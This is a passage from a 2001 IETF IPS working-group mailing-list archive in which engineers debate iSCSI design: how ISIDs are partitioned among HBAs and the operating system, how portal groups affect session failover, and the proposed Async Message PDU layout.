well-defined registry key where the miniports would look for their InitiatorName. The install of the first iSCSI miniport driver would look for that key, not find it and then instantiate whatever name is provided by the software installer. After that, any other driver installation (hopefully all driver installers would use the same key) would see that value and accept it. If not, then they could use another vendor-key which would render them as being a 'separate iSCSI Node' (and the conflict issues go away). In a similar way, the registry could hold ranges of ISIDs for each driver that installed. A driver on installation would claim some range of ISID's not already claimed by other drivers. If a driver claimed too many, then the next install might fail or trigger a management interface to reassign. If a driver didn't play by these rules (either because it didn't want to or was broken) then the customer probably get a new vendor! Right now, miniport drivers already get some (typically vendor-specific) information from the registry. There is no reason to believe WE can't cooperate in determining well-known keys for this purpose. I suggested in a private e-mail with David Black that we could make this ISID partitioning assignment a bit easier. For example, if we simply had in the registry a 'counter' for each miniport as it loaded. This counter could map nicely to a Portal Group Tag. Then we embed the portal group tag in the ISID (in some field within the ISID). Then you get explicit partitioning of ISIDs without a direct management interface that can screw up (David's concern). The drivers effectively enumerate themselves (and perhaps multiple portal groups for each driver, as needed) and the rest is for free. I think that drivers already enumerate themselves anyway, so this shouldn't be a problem. Similar things could happen for Unix and friends by just having a defined /etc/initiatorname file and enumeration of the drivers in /dev/iscsi. I didn't think this was such a big deal! Jim Hafner "Eddy Quicksall" @ece.cmu.edu on 09/07/2001 06:51:06 am Please respond to Sent by: owner-ips@ece.cmu.edu To: John Hufferd/San Jose/IBM@IBMUS, "Sandeep Joshi" cc: Subject: RE: iSCSI: login issue - partial consensus call John, We really should do this so a driver can be written for existing OS's. How would you hand out ISIDs when a Miniport is being loaded? Eddy -----Original Message----- From: John Hufferd [mailto:hufferd@us.ibm.com] Sent: Thursday, September 06, 2001 3:21 PM To: Sandeep Joshi Cc: ips@ece.cmu.edu Subject: Re: iSCSI: login issue - partial consensus call I understand you point, however, the discussion we had on this, talked about each HBA needing to have an install process that is OS specific. It was suppose to be an OS specific install or startup process that handed out the ISIDs (or ISID ranges). I think your point is that you wish that there was no reason to interact with the OS, in order to get installed. I do not think that is a good assumption. It is the OS that needs to let the HBA know what the iSCSI Initiator Node Name is, so that the HBA can configure to use it. It might as well hand out the ISIDs at the same time. You are suggesting that making the ID of the iSCSI HBA only a HW item. This is not where we came down previously. You want to make your job of interfacing with the OS, simpler, and put more burden on the administrator. This was the mistake we made with FC and I would not like to see that repeated here. You say that there needs to be Jumpers or switches, well this is up to your adapter. We use to do that kind of stuff before the Plug and Play started working with the OS. We need to work with the OS in a similar manor. . . . John L. Hufferd Senior Technical Staff Member (STSM) IBM/SSG San Jose Ca Main Office (408) 256-0403, Tie: 276-0403, eFax: (408) 904-4688 Home Office (408) 997-6136 Internet address: hufferd@us.ibm.com Sandeep Joshi @research.bell-labs.com on 09/06/2001 11:44:00 AM Sent by: sandeepj@research.bell-labs.com To: John Hufferd/San Jose/IBM@IBMUS cc: ips@ece.cmu.edu Subject: Re: iSCSI: login issue - partial consensus call John, Is this what you are referring to ? (Sec 1.3 of Naming & Discovery) > b) The ISID name space of the iSCSI Initiator should be partitioned > among the intiator portal groups. How do you perceive this will be achieved in practice ? This can turn out to be an nightmare for HBA vendors. IRQ settings, jumpers, or setup programs which run at boot instantly come to mind. Ideally, ISIDs should work as SCAM works but that would involve adding a mid-layer to OSes, to distribute that ISID name space. Modifying OSes in the field is tough, as we all know. I realize the standard wont mandate such configuration items but I'd rather we not add rules which would force such configuration tweaks to become necessary. We should reconsider the above rule and its consequence on the login issue Nick brought up. Regards, -Sandeep John Hufferd wrote: > > By the way, the OS is also suppose to have a way to hand out (partition up) > ISIDs to the various iSCSI Initiator functions, whether they are Software > or Hardware. > > So, even though, I was initially swayed by Nick's Arguments -- we require > the OS to partition up the ISID space and hand out specific ISIDs or ranges > of ISIDs (in some manor) to the iSCSI Initiator functions (regardless of > whether they are in Software or Hardware) -- I do not now see, if the > implementation is as specified in our spec., how there is a conflict in > ISID. > . > . > . > John L. Hufferd > Senior Technical Staff Member (STSM) > IBM/SSG San Jose Ca > Main Office (408) 256-0403, Tie: 276-0403, eFax: (408) 904-4688 > Home Office (408) 997-6136 > Internet address: hufferd@us.ibm.com From owner-ips@ece.cmu.edu Tue Sep 11 05:38:03 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id FAA01407 for ; Tue, 11 Sep 2001 05:38:02 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8B8gao23170 for ips-outgoing; Tue, 11 Sep 2001 04:42:36 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from e1.ny.us.ibm.com (e1.ny.us.ibm.com [32.97.182.101]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8B8gXP23163 for ; Tue, 11 Sep 2001 04:42:33 -0400 (EDT) Received: from northrelay02.pok.ibm.com (northrelay02.pok.ibm.com [9.117.200.22]) by e1.ny.us.ibm.com (8.9.3/8.9.3) with ESMTP id EAA390638 for ; Tue, 11 Sep 2001 04:40:12 -0400 Received: from d01hub02.pok.ibm.com (d01hub02.pok.ibm.com [9.117.127.124]) by northrelay02.pok.ibm.com (8.11.1m3/NCO v4.97.1) with ESMTP id f8B8YFd195344 for ; Tue, 11 Sep 2001 04:34:15 -0400 Importance: Normal Subject: RE: iSCSI: ISIDs To: "Jim Hafner" Cc: "ips" X-Mailer: Lotus Notes Release 5.0.8 June 18, 2001 Message-ID: From: "Julian Satran" Date: Tue, 11 Sep 2001 11:14:34 +0300 X-MIMETrack: Serialize by Router on D01HUB02/01/H/IBM(Release 5.0.8 |June 18, 2001) at 09/11/2001 04:42:26 AM MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Sender: owner-ips@ece.cmu.edu Precedence: bulk Jim, For reason that must be evident by now we are then attacking the wrong issue. Multi HBA targets are/will be common and not I was under the impression that the persistent items are related to the initiator-name+ISID (the draft states it in more than one place) and we can recapture them at any target port. If that is not so HA will have another hurdle to handle and an ugly one at that. My impression when reading the model was that portal groups are (the physical entity) are there to let us know which HBA elements are there that are willing to coordinate between then things that have to be coordinated within a session and that the target will create an I_T nexus that logically inherits everything based on IName+ISID regardless of the TSID it assigns for local uniqueness. As an I_T nexus is a logical entity we can still map it to a session and the SAM model is preserved. Julo Jim Hafner@IBMUS 10-09-2001 18:35 To: Julian Satran/Haifa/IBM@IBMIL, ips@ece.cmu.edu cc: From: Jim Hafner/Almaden/IBM@IBMUS Subject: RE: iSCSI: ISIDs (Document link: Julian Satran - Mail) Julo, Unfortunately, the way things are modeled now, it is impossible to recreate a session on a different target portal group and inherit all the same properties. The reason is that at least some of the properties are bound to the I_T nexus and the "T" is the portal group. If you request a change to a different portal group, you've changed the "T" and so an equivalent nexus cannot be built. With what we have today, I can claim to a different target portal group that I'm the same "I" in a previous I_T nexus, but that's about all. (And there-in lies the root of the "reservations kicker"!). Jim Hafner Julian Satran/Haifa/IBM@IBMIL@ece.cmu.edu on 09/10/2001 02:05:33 am Sent by: owner-ips@ece.cmu.edu To: ips@ece.cmu.edu cc: Subject: RE: iSCSI: ISIDs David, This relatively complicated and hard to discuss on the mailing list. During a flight I made a summaryY. allocating to vendors is not a good idea and failover of an entire session should be possible between portl groups. Portal groups are meant to delimit connections that cooperate within a session. If a session on PGa goes away you may want to reinstate a session on PG b ineriting the same properties. There is nothing to prevent you now to do it (and that is good). The ID splitting can get a bit skewed. The same will happend whatever sheme you choose and vendors certianly don't have to get involved. Julo Black_David@emc.com on 10-09-2001 09:16:39 Please respond to Black_David@emc.com To: Julian Satran/Haifa/IBM@IBMIL, ips@ece.cmu.edu cc: Subject: RE: iSCSI: ISIDs One more whack at this ... > The major difference is "control". In the current scheme the initiator and > target could independently allocate and reuse their parts. > > The target allocates only scheme leaves this to the target (it has to do > garbage collection) under the assumption that the target (unlike the > initiator) has a central point of control. Yes, I'm assuming that targets will have a single vendor in charge of all the software on the target and making it work right if there are multiple HBAs; I don't see any corresponding vendor who's in a position to do the same for the initiator ... > Aren't targets going to have several HBA and have to carefully allocate > their SSIDs? But they'll have one vendor in charge of making this work. In contrast, for an initiator with HBAs from two different vendors, both of those vendors and the vendor of the OS platform have to be involved, and I don't see any of them taking full responsibility in the early going. I'm worried we risk heading the iSCSI Initiator Name down the same path as Fibre Channel, where the FC Node WWN was supposed to be associated with the server into which the HBAs were plugged, but got associated with the HBA because there was no way to coordinate across HBAs. If anything ever goes wrong with ISIDs (and things will), the fastest way to fix it will be to require each HBA to have its own iSCSI Initiator Name, independent of the intent of the iSCSI naming architecture. > In the event an initiator wants to rebuild a session does he have to > connect to the same HBA and thus a failover to another HBA > can't be done. No, this is controlled by portal groups. To failover across two HBAs on the target, they have to be in the same portal group, and the target is responsible for coordinating TSID usage within each portal group. If the target can't coordinate TSID usage, it puts the HBAs into different portal groups and gives up this failover ability as a consequence, and that's the case independent of whether ISIDs exist or not. > For all the above no to happen we have to add some management somewhere and > it looks to me that the current scheme is simpler than a target centric one > as it keeps the allocation and release of numbers at the same end. I'm sorry, that doesn't parse for me. It looks like the same sort of mechanism is being put into both initiators and targets for symmetry, without considering whether two instances of the mechanism are actually necessary. In a target-centric scheme, the target is doing the "allocation and release" of numbers. The target does have to be careful about not aggressively reusing TSID values, when there's potentially recoverable state around (or the initiators may think that there's state to be recovered even though the target's lost it all in a reboot), but recall that aggressive reuse of ISIDs is what created the Option A/B/C mess (and not aggressively reusing ISIDs would make that easier to solve). I don't understand how two instances of similar mechanisms is "simpler" than one. --David --------------------------------------------------- David L. Black, Senior Technologist EMC Corporation, 42 South St., Hopkinton, MA 01748 +1 (508) 435-1000 x75140 FAX: +1 (508) 497-8500 black_david@emc.com Mobile: +1 (978) 394-7754 --------------------------------------------------- From owner-ips@ece.cmu.edu Tue Sep 11 05:40:07 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id FAA01456 for ; Tue, 11 Sep 2001 05:40:07 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8B8Vxp22709 for ips-outgoing; Tue, 11 Sep 2001 04:31:59 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from d12lmsgate.de.ibm.com (d12lmsgate.de.ibm.com [195.212.91.199]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8B8VuP22705 for ; Tue, 11 Sep 2001 04:31:56 -0400 (EDT) Received: from d12relay02.de.ibm.com (d12relay02.de.ibm.com [9.165.215.23]) by d12lmsgate.de.ibm.com (1.0.0) with ESMTP id KAA53800 for ; Tue, 11 Sep 2001 10:31:48 +0200 Received: from d10hubm1.telaviv.ibm.com (d10ml001.telaviv.ibm.com [9.148.216.55]) by d12relay02.de.ibm.com (8.11.1m3/NCO v4.97.1) with ESMTP id f8B8Vmh114202 for ; Tue, 11 Sep 2001 10:31:48 +0200 Importance: Normal Subject: RE: iSCSI: login issue - partial consensus call To: ips@ece.cmu.edu X-Mailer: Lotus Notes Release 5.0.8 June 18, 2001 Message-ID: From: "Julian Satran" Date: Tue, 11 Sep 2001 11:30:18 +0300 X-MIMETrack: Serialize by Router on D10ML001/10/M/IBM(Release 5.0.8 |June 18, 2001) at 11/09/2001 11:31:48 MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Sender: owner-ips@ece.cmu.edu Precedence: bulk Nick, Most operating systems and that includes W2K know how to partition a set of resources to drivers (see plug-and-play) statically and a few of them have quite elaborate mechanisms to allocate resources dynamically (and that includes most of the Unix flavors). As ISIDs are handed out only at login any for of partitioning can assume host participation. Jim's warning was to the implementers - and it should read "do it from your first version". And as I said earlier targets are more likely to be multi HBA and passing over the allocation only complicates things. Julo "Martin, Nick" @ece.cmu.edu on 10-09-2001 23:35:27 Please respond to "Martin, Nick" Sent by: owner-ips@ece.cmu.edu To: Jim Hafner/Almaden/IBM@IBMUS, "'ips@ece.cmu.edu'" cc: Subject: RE: iSCSI: login issue - partial consensus call Jim, Although I am not an expert in Microsoft drivers, I have checked with an expert and he confirms that "mini-port" storage drivers for NT4 did not have the ability to "query" the registry using a "key". If a command line for this instance number of this driver is stored in the registry, it will be passed to the driver as it initializes. We have learned not to rely on parameters passed from the registry in the driver command line. There are a number of conditions which can cause this information to be incorrect. (As an example two different controller models supported by the same driver will each be treated as instance 0 and get the same command line.) In my first hand Unix driver experience, I have found it rare for a driver to be able to read a file. If iSCSI is only to be used for secondary or auxiliary storage devices, then utilities running from primary storage can supply the required parameters. However, if iSCSI is to be used for primary storage (i.e. system disk or root disk) then the iSCSI driver in the Initiator can not access parameters stored on that disk to initialize itself before establishing a connection to an iSCSI target. Storage drivers must be able to initialize and operate in the pre-boot and early-boot stages of system initialization before any disks are available. Dependence on parameters not available until the system disk is mounted will prevent iSCSI from being usable as a system disk. IMHO, indicating that these are easy problems with simple elegant solutions seems misleading. I am not saying these problems can not be solved. Administrators can and will configure whatever they are required to configure. If they need it to work, they won't give up until it does. I just want to see that the number of things that must be configured to use iSCSI effectively are kept to a minimum. I hope iSCSI can seem easier to administer than other storage network technologies. Thanks, Nick -----Original Message----- From: Jim Hafner [mailto:hafner@almaden.ibm.com] Sent: Friday, September 07, 2001 11:23 AM To: eddy_quicksall@ivivity.com; ips@ece.cmu.edu Subject: RE: iSCSI: login issue - partial consensus call Eddy, I have ideas on how this ought to be done, analogous to way that InitiatorName would get assigned. Take WinXX for example, I'd have a well-defined registry key where the miniports would look for their InitiatorName. The install of the first iSCSI miniport driver would look for that key, not find it and then instantiate whatever name is provided by the software installer. After that, any other driver installation (hopefully all driver installers would use the same key) would see that value and accept it. If not, then they could use another vendor-key which would render them as being a 'separate iSCSI Node' (and the conflict issues go away). In a similar way, the registry could hold ranges of ISIDs for each driver that installed. A driver on installation would claim some range of ISID's not already claimed by other drivers. If a driver claimed too many, then the next install might fail or trigger a management interface to reassign. If a driver didn't play by these rules (either because it didn't want to or was broken) then the customer probably get a new vendor! Right now, miniport drivers already get some (typically vendor-specific) information from the registry. There is no reason to believe WE can't cooperate in determining well-known keys for this purpose. I suggested in a private e-mail with David Black that we could make this ISID partitioning assignment a bit easier. For example, if we simply had in the registry a 'counter' for each miniport as it loaded. This counter could map nicely to a Portal Group Tag. Then we embed the portal group tag in the ISID (in some field within the ISID). Then you get explicit partitioning of ISIDs without a direct management interface that can screw up (David's concern). The drivers effectively enumerate themselves (and perhaps multiple portal groups for each driver, as needed) and the rest is for free. I think that drivers already enumerate themselves anyway, so this shouldn't be a problem. Similar things could happen for Unix and friends by just having a defined /etc/initiatorname file and enumeration of the drivers in /dev/iscsi. I didn't think this was such a big deal! Jim Hafner "Eddy Quicksall" @ece.cmu.edu on 09/07/2001 06:51:06 am Please respond to Sent by: owner-ips@ece.cmu.edu To: John Hufferd/San Jose/IBM@IBMUS, "Sandeep Joshi" cc: Subject: RE: iSCSI: login issue - partial consensus call John, We really should do this so a driver can be written for existing OS's. How would you hand out ISIDs when a Miniport is being loaded? Eddy -----Original Message----- From: John Hufferd [mailto:hufferd@us.ibm.com] Sent: Thursday, September 06, 2001 3:21 PM To: Sandeep Joshi Cc: ips@ece.cmu.edu Subject: Re: iSCSI: login issue - partial consensus call I understand you point, however, the discussion we had on this, talked about each HBA needing to have an install process that is OS specific. It was suppose to be an OS specific install or startup process that handed out the ISIDs (or ISID ranges). I think your point is that you wish that there was no reason to interact with the OS, in order to get installed. I do not think that is a good assumption. It is the OS that needs to let the HBA know what the iSCSI Initiator Node Name is, so that the HBA can configure to use it. It might as well hand out the ISIDs at the same time. You are suggesting that making the ID of the iSCSI HBA only a HW item. This is not where we came down previously. You want to make your job of interfacing with the OS, simpler, and put more burden on the administrator. This was the mistake we made with FC and I would not like to see that repeated here. You say that there needs to be Jumpers or switches, well this is up to your adapter. We use to do that kind of stuff before the Plug and Play started working with the OS. We need to work with the OS in a similar manor. . . . John L. Hufferd Senior Technical Staff Member (STSM) IBM/SSG San Jose Ca Main Office (408) 256-0403, Tie: 276-0403, eFax: (408) 904-4688 Home Office (408) 997-6136 Internet address: hufferd@us.ibm.com Sandeep Joshi @research.bell-labs.com on 09/06/2001 11:44:00 AM Sent by: sandeepj@research.bell-labs.com To: John Hufferd/San Jose/IBM@IBMUS cc: ips@ece.cmu.edu Subject: Re: iSCSI: login issue - partial consensus call John, Is this what you are referring to ? (Sec 1.3 of Naming & Discovery) > b) The ISID name space of the iSCSI Initiator should be partitioned > among the intiator portal groups. How do you perceive this will be achieved in practice ? This can turn out to be an nightmare for HBA vendors. IRQ settings, jumpers, or setup programs which run at boot instantly come to mind. Ideally, ISIDs should work as SCAM works but that would involve adding a mid-layer to OSes, to distribute that ISID name space. Modifying OSes in the field is tough, as we all know. I realize the standard wont mandate such configuration items but I'd rather we not add rules which would force such configuration tweaks to become necessary. We should reconsider the above rule and its consequence on the login issue Nick brought up. Regards, -Sandeep John Hufferd wrote: > > By the way, the OS is also suppose to have a way to hand out (partition up) > ISIDs to the various iSCSI Initiator functions, whether they are Software > or Hardware. > > So, even though, I was initially swayed by Nick's Arguments -- we require > the OS to partition up the ISID space and hand out specific ISIDs or ranges > of ISIDs (in some manor) to the iSCSI Initiator functions (regardless of > whether they are in Software or Hardware) -- I do not now see, if the > implementation is as specified in our spec., how there is a conflict in > ISID. > . > . > . > John L. Hufferd > Senior Technical Staff Member (STSM) > IBM/SSG San Jose Ca > Main Office (408) 256-0403, Tie: 276-0403, eFax: (408) 904-4688 > Home Office (408) 997-6136 > Internet address: hufferd@us.ibm.com From owner-ips@ece.cmu.edu Tue Sep 11 05:45:38 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id FAA01517 for ; Tue, 11 Sep 2001 05:45:38 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8B8cNs22986 for ips-outgoing; Tue, 11 Sep 2001 04:38:23 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from d12lmsgate.de.ibm.com (d12lmsgate.de.ibm.com [195.212.91.199]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8B8c6P22974 for ; Tue, 11 Sep 2001 04:38:06 -0400 (EDT) Received: from d12relay01.de.ibm.com (d12relay01.de.ibm.com [9.165.215.22]) by d12lmsgate.de.ibm.com (1.0.0) with ESMTP id KAA84826 for ; Tue, 11 Sep 2001 10:37:55 +0200 Received: from d10hubm1.telaviv.ibm.com (d10ml001.telaviv.ibm.com [9.148.216.55]) by d12relay01.de.ibm.com (8.11.1m3/NCO v4.97.1) with ESMTP id f8B8bs934436 for ; Tue, 11 Sep 2001 10:37:55 +0200 Importance: Normal Subject: RE: iSCSI: Async events - SCSI and iSCSI To: ips@ece.cmu.edu X-Mailer: Lotus Notes Release 5.0.8 June 18, 2001 Message-ID: From: "Julian Satran" Date: Tue, 11 Sep 2001 11:37:05 +0300 X-MIMETrack: Serialize by Router on D10ML001/10/M/IBM(Release 5.0.8 |June 18, 2001) at 11/09/2001 11:37:54 MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Sender: owner-ips@ece.cmu.edu Precedence: bulk Bob, The current text says explicitly that issuing SCSI events is controlled by the SCSI mode page. iSCSI events can be issued anytime they are needed (no restriction stated). Julo Robert Snively on 10-09-2001 18:40:30 Please respond to Robert Snively To: Julian Satran/Haifa/IBM@IBMIL, ips@ece.cmu.edu cc: Subject: RE: iSCSI: Async events - SCSI and iSCSI Folks, I have not followed all that led up to this very carefully, but in the SCSI space, we have been reasonably careful to require that the initiator identify itself as capable of receiving an asynchronous event. In the iSCSI realm, you can invent any kind of event structure you like, but it would not involve logical units (except perhaps to indicate that the configuration of logical units has changed and needs to be investigated), since logical units are not known to the iSCSI session. In the SCSI realm, you have to have a SAM-2 compliant mechanism to determine that there is a process available to receive (or at least to reject the exchange of) an asynchronous message. In the past, that has often been done by making the asynchronous message a standard SCSI command, with the initiator taking on the target role and in fact identifying itself as a willing recipient. I would expect the same separation to be required here. In particular, SCSI asynchronous events may need to be rejected, while iSCSI asynchronous events shall always be accepted. Bob > -----Original Message----- > From: Julian Satran [mailto:Julian_Satran@il.ibm.com] > Sent: Saturday, September 08, 2001 12:56 AM > To: ips@ece.cmu.edu > Subject: Re: iSCSI: Async events - SCSI and iSCSI > > > OK Mark - How about: > > 1.1 Asynchronous Message > > An Asynchronous Message may be sent from the target to the > initiator > without corresponding to a particular command. The target > specifies the > status and reason for the event and sense data. > > > Byte / 0 | 1 | 2 | 3 | > / | | | | > |7 6 5 4 3 2 1 0|7 6 5 4 3 2 1 0|7 6 5 4 3 2 1 0|7 6 5 4 3 2 1 0| > +---------------+---------------+---------------+---------------+ > 0|1|1| 0x32 |1| Reserved | > +---------------+---------------+---------------+---------------+ > 4| Reserved | DataSegmentLength | > +---------------+---------------+---------------+---------------+ > 8| LUN | > + + > 12| | > +---------------+---------------+---------------+---------------+ > 16/ Reserved / > +/ / > +---------------+---------------+---------------+---------------+ > 24| StatSN | > +---------------+---------------+---------------+---------------+ > 28| ExpCmdSN | > +---------------+---------------+---------------+---------------+ > 32| MaxCmdSN | > +---------------+---------------+---------------+---------------+ > 36| AsyncEvent | Reserved | Parameter1 or Reserved | > +---------------+---------------+---------------+---------------+ > 40| Parameter2 or Reserved | Parameter3 or Reserved | > +---------------+---------------+---------------+---------------+ > 44| Reserved | > +---------------+---------------+---------------+---------------+ > 48| Digests if any... | > +---------------+---------------+---------------+---------------+ > / DataSegment - Sense Data or iSCSI Event Data / > +/ / > +---------------+---------------+---------------+---------------+ > > > Some Asynchronous Messages are strictly related to iSCSI > while others > are related to SCSI [SAM2]. > > Please note that StatSN counts this PDU as an > acknowledgeable event, > allowing initiator and target state synchronization. > > 1.1.1 AsyncEvent > > The codes used for iSCSI Asynchronous Messages (Events) are: > > 0 A SCSI Asynchronous Event is reported in the sense > data. Sense > Data that accompanies the report, in the data segment, > identifies the > condition. Sending of a SCSI Event (Asynchronous Event > Notification > in SCSI terminology) is controlled by a SCSI Control > Mode Page bit. > 1 Target requests Logout. This Async Message MUST be > sent on the > same connection as the one being requested to be logged out. > Initiator MUST honor this request by issuing a Logout > as early as > possible, but no later than Parameter3 seconds. > Initiator MUST send > a Logout with a reason code of "Close the connection" to cleanly > shutdown the connection. If the initiator does not Logout in > Parameter3 seconds, the target should send an Async PDU > with iSCSI > event code "Dropped the connection" if possible, or > simply terminate > the transport connection. Parameter1 and Parameter2 are > reserved. > 2 Target indicates it will drop the connection. > The Parameter1 field indicates on what CID the connection will > dropped. > The Parameter2 field indicates, in seconds, the minimum > time to wait > before attempting to reconnect. > Parameter3 indicates the maximum time to reconnect > and/or restart > commands after the initial wait (Parameter2). > If the initiator does not attempt to reconnect and/or > restart the > outstanding commands, within the time specified by > Parameter3 or, if > Parameter3 is 0, the target will terminate all > outstanding commands > on this connection, no other responses should be > expected from the > target for the outstanding commands on this connection. > A value of 0 for Parameter2 indicates that reconnect > can be attempted > immediately. > 3 Target indicates it will drop all the connections of this > session. > The Parameter2 field indicates, in seconds, the minimum > time to wait > before attempting to reconnect. > The Parameter3 field indicates the maximum time to reconnect and > restart commands after the initial wait (Parameter2). > If the initiator does not attempt to reconnect within the time > specified by Parameter 3 or, if Parameter 3 is 0, the session is > terminated. In this case, the target will terminate all > outstanding > commands in this session; no other responses should be > expected from > the target for the outstanding commands in this > session. A value of > 0 for Parameter2 indicates that reconnect can be attempted > immediately. > 255 Vendor specific iSCSI Event - additional data MAY > accompany the > report. > > All other event codes are reserved. > > 1.1.2 Sense Data or iSCSI Event Data > > For a SCSI Event this is the data that accompanies the > report, in the > data segment, identifies the condition. > > For an iSCSI Event additional data that MAY accompany the report > > > Mark Bakke @ece.cmu.edu on 07-09-2001 18:54:22 > > Please respond to Mark Bakke > > Sent by: owner-ips@ece.cmu.edu > > > To: Julian Satran/Haifa/IBM@IBMIL > cc: ips@ece.cmu.edu > Subject: Re: iSCSI: Async events - SCSI and iSCSI > > > > Julian- > > I'd like to see them separate for two reasons: > > - iSCSI and SCSI-level events are typically orthogonal, so they > probably won't usually end up being combined anyway. It would > be simpler for both the target and the initiator to not attempt > to combine them. > > - Since the SCSI-level events use the data portion of the message > for sense data, that leave iSCSI events without any way to send > data of their own if there is a possibility of combining the > two. By keeping them separate, iSCSI could use the data portion > for text keys. In fact, Parameters 1, 2, and 3 might have been > easier to describe had they been communicated using text keys; > the processing of async messages is not a performance-critical > thing anyway. > > That's about it. A target could send both in one message, but since > the desire to do this is probably an end case (a small percentage > of async messages might combine both), there's no reason why we > can't just have the target send two messages, and we end up with > a simpler, and for iSCSI events, more flexible, implementation for > both the initiator and target. > > Anyway, I think that if we are going for a clear separation between > SCSI and iSCSI events, that it's even clearer if they are always > sent in separate messages. > > Thanks, > > Mark > > Julian Satran wrote: > > > > Mark, > > > > As far as I recall it is not by chance. When we decided to > go for a clear > > separation of SCSI and iSCSI events > > I saw no reason why a target will not want to send both, if > it had them, > in > > one message. > > Is there something I am missing? Obviously this runs > against your later > > request for text async messages. > > > > Julo > > > > Mark Bakke @ece.cmu.edu on 05-09-2001 23:09:12 > > > > Please respond to Mark Bakke > > > > Sent by: owner-ips@ece.cmu.edu > > > > To: IPS > > cc: > > Subject: iSCSI: Async events - SCSI and iSCSI > > > > Julian- > > > > I was looking at Async Message some more, and noticed that there > > is nothing to stop a target from sending a message that includes > > both iSCSI and SCSI events, since each of these are communicated > > with a different set of fields. I would guess that this is not > > what is intended, and that the target ought to send one or > the other. > > > > Can we add some text to say: > > > > A target may send this message as either a SCSI Event or an > > iSCSI Event, but not both. Either the SCSI Event or iSCSI > > Event field MUST be zero. > > > > -- > > Mark A. Bakke > > Cisco Systems > > mbakke@cisco.com > > 763.398.1054 > > -- > Mark A. Bakke > Cisco Systems > mbakke@cisco.com > 763.398.1054 > > > > From owner-ips@ece.cmu.edu Tue Sep 11 05:47:43 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id FAA01539 for ; Tue, 11 Sep 2001 05:47:42 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8B8Gea22053 for ips-outgoing; Tue, 11 Sep 2001 04:16:40 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from d12lmsgate-3.de.ibm.com (d12lmsgate-3.de.ibm.com [195.212.91.201]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8B8GXP22041 for ; Tue, 11 Sep 2001 04:16:37 -0400 (EDT) Received: from d12relay01.de.ibm.com (d12relay01.de.ibm.com [9.165.215.22]) by d12lmsgate-3.de.ibm.com (1.0.0) with ESMTP id KAA74264; Tue, 11 Sep 2001 10:16:23 +0200 Received: from d10hubm1.telaviv.ibm.com (d10ml001.telaviv.ibm.com [9.148.216.55]) by d12relay01.de.ibm.com (8.11.1m3/NCO v4.97.1) with ESMTP id f8B8GM9287332; Tue, 11 Sep 2001 10:16:22 +0200 Importance: Normal Subject: RE: iSCSI: ISIDs To: "Jim Hafner" Cc: Black_David@emc.com, ips@ece.cmu.edu X-Mailer: Lotus Notes Release 5.0.8 June 18, 2001 Message-ID: From: "Julian Satran" Date: Tue, 11 Sep 2001 11:15:34 +0300 X-MIMETrack: Serialize by Router on D10ML001/10/M/IBM(Release 5.0.8 |June 18, 2001) at 11/09/2001 11:16:22 MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Sender: owner-ips@ece.cmu.edu Precedence: bulk that sounds far better - julo Jim Hafner/Almaden/IBM@IBMUS@ece.cmu.edu on 10-09-2001 18:38:50 Please respond to Jim Hafner/Almaden/IBM@IBMUS Sent by: owner-ips@ece.cmu.edu To: Black_David@emc.com, ips@ece.cmu.edu cc: Subject: RE: iSCSI: ISIDs David and Julian On second thought, let me qualify what I just said in my last posting about recreating the session on a different portal group. As far as the model is concerned, that still holds, BUT it doesn't prevent failover from one HBA to another! The reason is that all of the properties of the failed HBA can be assumed by the back up HBA (this includes, ipaddresses, portal group tag, etc.). So, phyically, the HBA may be a different one, but the model view of the portal group is still the same (different hw, same 'identity'). Similar things happen with just IP addressing today and with FC functions as well. Jim Hafner Black_David@emc.com@ece.cmu.edu on 09/09/2001 11:16:39 pm Sent by: owner-ips@ece.cmu.edu To: Julian Satran/Haifa/IBM@IBMIL, ips@ece.cmu.edu cc: Subject: RE: iSCSI: ISIDs One more whack at this ... > The major difference is "control". In the current scheme the initiator and > target could independently allocate and reuse their parts. > > The target allocates only scheme leaves this to the target (it has to do > garbage collection) under the assumption that the target (unlike the > initiator) has a central point of control. Yes, I'm assuming that targets will have a single vendor in charge of all the software on the target and making it work right if there are multiple HBAs; I don't see any corresponding vendor who's in a position to do the same for the initiator ... > Aren't targets going to have several HBA and have to carefully allocate > their SSIDs? But they'll have one vendor in charge of making this work. In contrast, for an initiator with HBAs from two different vendors, both of those vendors and the vendor of the OS platform have to be involved, and I don't see any of them taking full responsibility in the early going. I'm worried we risk heading the iSCSI Initiator Name down the same path as Fibre Channel, where the FC Node WWN was supposed to be associated with the server into which the HBAs were plugged, but got associated with the HBA because there was no way to coordinate across HBAs. If anything ever goes wrong with ISIDs (and things will), the fastest way to fix it will be to require each HBA to have its own iSCSI Initiator Name, independent of the intent of the iSCSI naming architecture. > In the event an initiator wants to rebuild a session does he have to > connect to the same HBA and thus a failover to another HBA > can't be done. No, this is controlled by portal groups. To failover across two HBAs on the target, they have to be in the same portal group, and the target is responsible for coordinating TSID usage within each portal group. If the target can't coordinate TSID 